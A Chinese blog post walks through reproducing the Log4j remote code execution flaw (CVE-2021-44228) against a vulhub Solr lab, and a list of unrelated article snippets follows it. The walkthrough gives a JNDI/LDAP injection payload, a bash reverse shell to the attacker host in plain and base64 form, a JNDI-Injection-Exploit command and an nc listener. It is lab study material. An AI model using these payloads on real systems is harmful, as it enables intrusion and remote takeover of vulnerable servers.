【vluhub】log4j注入漏洞 CVE-2021-44228
LOG4介绍
是一个用Java编写的可靠,快速和灵活的日志框架(API),它在Apache软件许可下发布
log4j存在远程代码执行漏洞、受影响版本2.x
部署环境
攻击机环境:192.168.3.180
kail环境:192.168.203.12【NAT转换的】
部署vluhub
具体流程参考其他博主,本文主要讲解在部署vluhub过程中存在的几个问题,作为记录
问题一、apt-get install docker docker-compose,执行失败,下载失败,修改外网下载也失败
获取离线安装包
直通车
Releases · docker/compose · GitHub
具体版本

下载后存储至

赋予执行权限
sudo chmod +x /usr/local/bin/docker-compose
查看版本docker-compose -v

问题二、
wget https://github.com/vulhub/vulhub/archive/master.zip下载失败
手动下载https://github.com/vulhub/vulhub/archive/master.zip
上传解压
unzip vulhub-master.zip
cd vulhub-master

问题三、docker compose up -d执行失败
由于修改vluhub外网导致,需要切换成国内网络

修改内容如下

重启服务

再次执行 docker compose up -d


端口8983搭建成功

地址访问
http://192.168.203.12:8983/solr/admin/cores?action=1

验证是否存在漏洞
DNSLog Platform

替换发送请求
http://192.168.203.12:8983/solr/admin/cores?action=${jndi:ldap://8dyb3y.dnslog.cn}
刷新dns右边这个按钮 出现下方内容则存在
bash -i >& /dev/tcp/192.168.3.180/6666 0>&1

反向getshell base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgwLzY2NjYgMD4mMQ==
获取JNDI包
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

执行
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTgwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 192.168.3.180
生成获取ldap内容 有用
创建监听nc-lvvp 6666异常由于windwos 没有安装nc需要安装
直通车
netcat 1.11 for Win32/Win64

安装后火绒会报毒,运行
然后在该路径下执行 nc-lvvp 6666

将生成ldap内容复制替换,重新刷新一下接口
http://192.168.203.12:8983/solr/admin/cores?action=${jndi:ldap://192.168.3.180:1389/mjv27z}
getshell了

大概就是这么个流程!
参考:
centos离线安装docker,docker-compose_centos离线安装docker-compose-CSDN博客
Log4j漏洞环境搭建以及复现拿getshell_dockerlog4j环境搭建-CSDN博客
相关文章:
【vluhub】log4j注入漏洞 CVE-2021-44228
LOG4介绍 是一个用Java编写的可靠,快速和灵活的日志框架(API),它在Apache软件许可下发布 log4j存在远程代码执行漏洞、受影响版本2.x 部署环境 攻击机环境:192.168.3.180 kail环境:192.168.203.12【NAT…...
Redis核心技术与实战学习笔记
Redis核心技术与实战学习笔记 最近想沉下心来看下redis,买了蒋德钧老师的《Redis 核心技术与实战》,这里记录一些学习笔记 希望能够坚持下去有想一起学习的童鞋,可以点击跳转到文章尾部获取学习资源,仅供学习不要用于任何商业用途!!! redis知识全景图 …...
力扣经典题目之->设计循环队列 的超详细讲解与实现
一:题目 二:思路讲解 前提: a:本文采取数组来实现队列去解决题目 b:开辟k1个空间,front指向队首,rear指向队尾的后一个,rear这样会更好的判空和判满 以下根据pop和push感受满和空…...
【数据结构】排序算法——Lesson2
Hi~!这里是奋斗的小羊,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 💥💥个人主页:奋斗的小羊 💥💥所属专栏:C语言 🚀本系列文章为个人学习…...
Ubuntu编译ffmpeg并添加cmake工程
文章目录 前言前提须知为什么要自己编译 FFmpeg前提软件包与工具的安装编译ffmpeg写CMakeList.txt包含ffmpeg到我们项目中 总结 前言 FFmpeg 是一个领先的多媒体框架,能够解码、编码、转码、复用、解复用、流化、过滤和播放几乎所有人类和机器创造的内容。FFmpeg 包…...
Vue.js[组件(Component)]
什么是: 拥有专属的HTML,CSS,数据的,可重用的页面独立区域 一个页面由多个组件聚合而成一个大型的页面 在代码层面上,一个组件就是一个可反复使用的自定义标签。 vs jq插件 vs boot组件 boot插件: 虽然可重用,但仍需…...
基于微信小程序+SpringBoot+Vue的校园自助打印系统(带1w+文档)
基于微信小程序SpringBootVue的校园自助打印系统(带1w文档) 基于微信小程序SpringBootVue的校园自助打印系统(带1w文档) 管理信息可以处理复杂的信息从而提高用户的工作效率,减少失误。所以本基于Vue和微信小程序的校园自助打印系统的开发非常有意义,本系…...
qt设置过滤器
1.创建事件过滤器类,在主窗口中安装事件过滤器 class PasteFilter : public QObject {Q_OBJECTpublic:PasteFilter(QObject *parent nullptr) : QObject(parent) {}protected:bool eventFilter(QObject *obj, QEvent *event) override {if (event->type() QEv…...
线上环境服务器CPU飙升排查
前因 收到线上服务器CPU使用率100%的告警信息。 环境 jdk1.8CentOS Linux ;CentOS Linux 排查 查看服务器CPU使用率 果然cpu已经达到了100%了 命令 top 使用arthas工具 使用方式 arthas 执行命令java -jar arthas-boot.jar 然后执行命令 thread 看到有两个…...
unity文字||图片模糊
一.文字模糊 1、增大字体大小后等比缩放 快捷键R 2、更改字体渲染模式 二.图片模糊 1、更改过滤模式 2、更改格式或者压缩 3、如果只是图片边缘看不清,可以增加canvas/图片的每单位参考像素...
香薰学习笔记
1 喷香水的方法 ChatGPT-4o 学习使用香水是提升个人形象的一个好方法。 喷香水的方法如下: 皮肤吸收:香水最好喷在皮肤上,因为皮肤的温度能帮助香水散发出更好的香味。喷在衣服上可能会影响香水的原始味道。脉搏点:将香水喷在脉搏…...
iOS ------ weak的基本原理
1.weak的基本概念 weak弱引用,所引用的对象的引用计数不会加一,引用对象被释放的时候会自动设置为nil多用于解决对象间的相互引用造成内存泄露的循环引用的问题 2.实现原理 Person *object [[Person alloc] init]; id __weak objc object;Runtime维…...
实时更新UI界面
1.处理实时通信,几种方案 1:当一个用户发送一条需要实时更新的信息,我可以直接查找在线用户,通过在线用户来进行判断条件,发送更新请求 2:用户在一个需要实时更新的界面时,就不断的向服务端发…...
为什么Spring不推荐@Autowired用于字段注入
背景 Spring是Java程序员常用的框架之一。官方从Spring 4.0开始不推荐使用Autowired进行字段注入。 Spring注入方式 基于构造器注入:在构造器上使用Autowired。 优点:可以声明字段为final,确保字段在构造时被初始化。 基于setter方法注入&…...
【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第三篇 嵌入式Linux驱动开发篇-第三十九章 Linux MISC驱动
i.MX8MM处理器采用了先进的14LPCFinFET工艺,提供更快的速度和更高的电源效率;四核Cortex-A53,单核Cortex-M4,多达五个内核 ,主频高达1.8GHz,2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…...
基于MobileNetv2的垃圾分类函数式自动微分-昇思25天打卡
基于MobileNetv2的垃圾分类 本文档主要介绍垃圾分类代码开发的方法。通过读取本地图像数据作为输入,对图像中的垃圾物体进行检测,并且将检测结果图片保存到文件中。 1、实验目的 了解熟悉垃圾分类应用代码的编写(Python语言)&a…...
STM32CubeIDE(CAN)
目录 一、概念 1、简述 2、CAN 的几种模式 二、实践 1、环回模式轮询通信 1.1 软件配置 1.2 代码编写 2、环回模式中断通信 2.1 软件配置 2.2 代码编写 一、概念 1、简述 STM32微控制器系列包含多个型号,其中一些型号集成了CAN(Controller Are…...
GO Channel使用详解(各种场景下的最佳实践)
GO Channel使用详解(各种场景下的最佳实践) 一个知识点:通过反射的方式执行 select 语句,在处理很多的 case clause,尤其是不定长的 case clause 的时候,非常有用。而且,在后面介绍任务编排的实现时,我也会采用这种方法,所以,我先带你具体学习下 Channel 的反射用法…...
SwiftUI 5.0(iOS 17)滚动视图的滚动目标行为(Target Behavior)解惑和实战
概览 在 SwiftUI 的开发过程中我们常说:“屏幕不够,滚动来凑”。可见滚动视图对于超长内容的呈现有着多么秉轴持钧的重要作用。 这不,从 SwiftUI 5.0(iOS 17)开始苹果又为滚动视图增加了全新的功能。但是官方的示例可…...
picker 构建记录
picker 构建记录 tomlinuxtom:~/openverify/picker$ cd picker bash: cd: picker: 没有那个文件或目录 tomlinuxtom:~/openverify/picker$ export BUILD_XSPCOMM_SWIGpython tomlinuxtom:~/openverify/picker$ make rm -rf temp build /home/tom/Tools/verible-v0.0-3724/bin/…...
Cursor实现用excel数据填充word模版的方法
cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
unix/linux,sudo,其发展历程详细时间线、由来、历史背景
sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...
WEB3全栈开发——面试专业技能点P2智能合约开发(Solidity)
一、Solidity合约开发 下面是 Solidity 合约开发 的概念、代码示例及讲解,适合用作学习或写简历项目背景说明。 🧠 一、概念简介:Solidity 合约开发 Solidity 是一种专门为 以太坊(Ethereum)平台编写智能合约的高级编…...
Spring AI 入门:Java 开发者的生成式 AI 实践之路
一、Spring AI 简介 在人工智能技术快速迭代的今天,Spring AI 作为 Spring 生态系统的新生力量,正在成为 Java 开发者拥抱生成式 AI 的最佳选择。该框架通过模块化设计实现了与主流 AI 服务(如 OpenAI、Anthropic)的无缝对接&…...
《基于Apache Flink的流处理》笔记
思维导图 1-3 章 4-7章 8-11 章 参考资料 源码: https://github.com/streaming-with-flink 博客 https://flink.apache.org/bloghttps://www.ververica.com/blog 聚会及会议 https://flink-forward.orghttps://www.meetup.com/topics/apache-flink https://n…...
AI编程--插件对比分析:CodeRider、GitHub Copilot及其他
AI编程插件对比分析:CodeRider、GitHub Copilot及其他 随着人工智能技术的快速发展,AI编程插件已成为提升开发者生产力的重要工具。CodeRider和GitHub Copilot作为市场上的领先者,分别以其独特的特性和生态系统吸引了大量开发者。本文将从功…...
让AI看见世界:MCP协议与服务器的工作原理
让AI看见世界:MCP协议与服务器的工作原理 MCP(Model Context Protocol)是一种创新的通信协议,旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天,MCP正成为连接AI与现实世界的重要桥梁。…...
让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比
在机器学习的回归分析中,损失函数的选择对模型性能具有决定性影响。均方误差(MSE)作为经典的损失函数,在处理干净数据时表现优异,但在面对包含异常值的噪声数据时,其对大误差的二次惩罚机制往往导致模型参数…...

